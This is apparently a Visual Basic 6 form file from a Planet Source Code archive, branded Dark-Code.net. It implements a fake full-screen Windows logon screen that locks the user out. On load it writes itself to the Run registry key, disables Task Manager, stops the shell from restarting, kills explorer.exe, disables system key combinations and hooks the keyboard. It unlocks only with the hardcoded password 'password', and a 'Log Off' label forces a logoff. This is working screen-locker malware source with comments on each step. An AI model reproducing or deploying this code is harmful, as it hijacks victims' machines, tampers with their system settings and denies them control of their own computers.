home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 4_2005-2006.ISO / data / Zips / Windows_Lo1982423232006.psc / Form43.frm < prev    next >
Text File  |  2006-03-23  |  8KB  |  222 lines

  1. VERSION 5.00
  2. Begin VB.Form Form1 
  3.    BackColor       =   &H00000000&
  4.    BorderStyle     =   0  'None
  5.    ClientHeight    =   10290
  6.    ClientLeft      =   0
  7.    ClientTop       =   0
  8.    ClientWidth     =   15360
  9.    Icon            =   "Form43.frx":0000
  10.    LinkTopic       =   "Form1"
  11.    ScaleHeight     =   10290
  12.    ScaleWidth      =   15360
  13.    ShowInTaskbar   =   0   'False
  14.    StartUpPosition =   2  'CenterScreen
  15.    Begin VB.Timer Timer2 
  16.       Enabled         =   0   'False
  17.       Interval        =   5000
  18.       Left            =   4680
  19.       Top             =   5760
  20.    End
  21.    Begin VB.Timer Timer1 
  22.       Enabled         =   0   'False
  23.       Interval        =   1000
  24.       Left            =   4680
  25.       Top             =   5280
  26.    End
  27.    Begin VB.TextBox Text1 
  28.       BackColor       =   &H00FFFFFF&
  29.       BeginProperty Font 
  30.          Name            =   "MS Sans Serif"
  31.          Size            =   13.5
  32.          Charset         =   0
  33.          Weight          =   400
  34.          Underline       =   0   'False
  35.          Italic          =   0   'False
  36.          Strikethrough   =   0   'False
  37.       EndProperty
  38.       Height          =   285
  39.       IMEMode         =   3  'DISABLE
  40.       Left            =   6840
  41.       PasswordChar    =   "ñ"
  42.       TabIndex        =   0
  43.       Top             =   4920
  44.       Width           =   2055
  45.    End
  46.    Begin VB.Label Label4 
  47.       Alignment       =   2  'Center
  48.       BackStyle       =   0  'Transparent
  49.       Caption         =   "Welcome , Please Type Your Password To Logon"
  50.       Height          =   255
  51.       Left            =   6120
  52.       TabIndex        =   4
  53.       Top             =   7440
  54.       Width           =   3615
  55.    End
  56.    Begin VB.Image Image3 
  57.       Height          =   375
  58.       Left            =   9120
  59.       Picture         =   "Form43.frx":0442
  60.       Top             =   4920
  61.       Width           =   375
  62.    End
  63.    Begin VB.Image Image2 
  64.       Height          =   750
  65.       Left            =   5880
  66.       Picture         =   "Form43.frx":248E
  67.       Top             =   4680
  68.       Width           =   750
  69.    End
  70.    Begin VB.Label Label3 
  71.       Alignment       =   2  'Center
  72.       BackStyle       =   0  'Transparent
  73.       Caption         =   "Log Off Administrator"
  74.       ForeColor       =   &H00FFFFFF&
  75.       Height          =   255
  76.       Left            =   6000
  77.       TabIndex        =   3
  78.       Top             =   8160
  79.       Width           =   3735
  80.    End
  81.    Begin VB.Label Label2 
  82.       BackStyle       =   0  'Transparent
  83.       Caption         =   "Password"
  84.       ForeColor       =   &H00FFFFFF&
  85.       Height          =   255
  86.       Left            =   8280
  87.       TabIndex        =   2
  88.       Top             =   5280
  89.       Width           =   735
  90.    End
  91.    Begin VB.Shape Shape1 
  92.       Height          =   495
  93.       Left            =   6720
  94.       Top             =   4800
  95.       Width           =   2295
  96.    End
  97.    Begin VB.Label Label1 
  98.       Appearance      =   0  'Flat
  99.       BackColor       =   &H80000005&
  100.       BackStyle       =   0  'Transparent
  101.       Caption         =   "Administrator"
  102.       BeginProperty Font 
  103.          Name            =   "Unreal Tournament"
  104.          Size            =   15.75
  105.          Charset         =   0
  106.          Weight          =   400
  107.          Underline       =   0   'False
  108.          Italic          =   0   'False
  109.          Strikethrough   =   0   'False
  110.       EndProperty
  111.       ForeColor       =   &H00FFFFFF&
  112.       Height          =   3495
  113.       Left            =   5760
  114.       TabIndex        =   1
  115.       Top             =   4200
  116.       Width           =   4215
  117.    End
  118.    Begin VB.Image Image1 
  119.       Height          =   5445
  120.       Left            =   0
  121.       Picture         =   "Form43.frx":491E
  122.       Top             =   3000
  123.       Width           =   15360
  124.    End
  125. End
  126. Attribute VB_Name = "Form1"
  127. Attribute VB_GlobalNameSpace = False
  128. Attribute VB_Creatable = False
  129. Attribute VB_PredeclaredId = True
  130. Attribute VB_Exposed = False
  131. ' ---------------------------------------
  132. '|                                       |
  133. '|      @@@@@@@          @@@@@@@@        |
  134. '|      @      @         @               |
  135. '|      @       @        @               |
  136. '|      @       @        @               |
  137. '|      @       @        @               |
  138. '|      @       @        @               |
  139. '|      @       @        @               |
  140. '|      @       @        @               |
  141. '|      @      @         @               |
  142. '|      @@@@@@@          @@@@@@@@        |
  143. '|      Dark-Code.net    xsubz3r0x       |
  144. ' ---------------------------------------
  145.  
  146. 'Set the height/width so it's over maximized
  147. 'Save to run if you want it to start everytime windows load
  148. 'also overwrites the key over and over so no floods
  149. 'Also disable task manager to prevent access
  150. 'Close Explorer and prevent it from restarting
  151. Private Sub Form_Load()
  152. Me.Height = Screen.Height
  153. Me.Width = Screen.Width
  154. REGSaveSetting vHKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", "LoGonWindow", App.Path & "\" & App.EXEName & ".exe"
  155. REGSaveSetting vHKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "1"
  156. Dim Reg As Object
  157. Set Reg = CreateObject("wscript.shell")
  158. Reg.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" & "AutoRestartShell", "0", "REG_DWORD"
  159. For Each Process In GetObject("winmgmts:"). _
  160.     ExecQuery("select * from Win32_Process where name='explorer.exe'")
  161.    Process.Terminate (0)
  162. Next
  163. ' Initialize Windows System key filtering.
  164. Dim ret As Long
  165.     ret = SystemParametersInfo(97, True, ret, 0)
  166.     KBDhwnd = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CatchKeys, App.hInstance, 0)
  167. End Sub
  168. 'Of course our password :)
  169. Private Sub Image3_Click()
  170. If Text1.Text = "password" Then
  171. Timer1.Enabled = True
  172. Else
  173. Label4.Caption = "Wrong Password, Please Try Again."
  174. End If
  175. End Sub
  176. 'If you click Log OFF , logs you off windows
  177. Private Sub Label3_Click()
  178. Shell "shutdown -l -f -t 0"
  179. End Sub
  180. 'Also if you just want to hit enter
  181. Private Sub Text1_KeyDown(KeyCode As Integer, Shift As Integer)
  182. Select Case KeyCode
  183.     Case 13
  184. If Text1.Text = "password" Then
  185. Timer1.Enabled = True
  186. Else
  187. Label4.Caption = "Wrong Password, Please Try Again."
  188. End If
  189.     End Select
  190. End Sub
  191.  
  192. 'Just a backcolor that changes everytime you click it
  193. Private Sub Text1_MouseDown(Button As Integer, Shift As Integer, x As Single, Y As Single)
  194. If Text1.BackColor = &HFFFFFF Then
  195. Text1.BackColor = &HE0E0E0
  196. Label4.Caption = "Welcome , Please Type Your Password To Logon"
  197. Else
  198. Text1.BackColor = &HFFFFFF
  199. End If
  200. End Sub
  201. 'If password ok then display message and delete the task manager key
  202. 'so you can access the task manager again
  203. 'Change The System Back :)
  204. 'Restart Shell
  205. Private Sub Timer1_Timer()
  206. Label4.Caption = "Loading Your Personal Settings...."
  207. Timer2.Enabled = True
  208. REGDeleteSetting vHKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System"
  209. Dim Reg As Object
  210. Set Reg = CreateObject("wscript.shell")
  211. Reg.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" & "AutoRestartShell", "1", "REG_DWORD"
  212. End Sub
  213. 'Disable timer1 and Unload
  214. Private Sub Timer2_Timer()
  215. Timer1.Enabled = False
  216. Shell "explorer.exe"
  217. Dim ret As Long
  218. ret = SystemParametersInfo(0, False, ret, 0)
  219. If KBDhwnd <> 0 Then UnhookWindowsHookEx KBDhwnd
  220. Unload Form1
  221. End Sub
  222.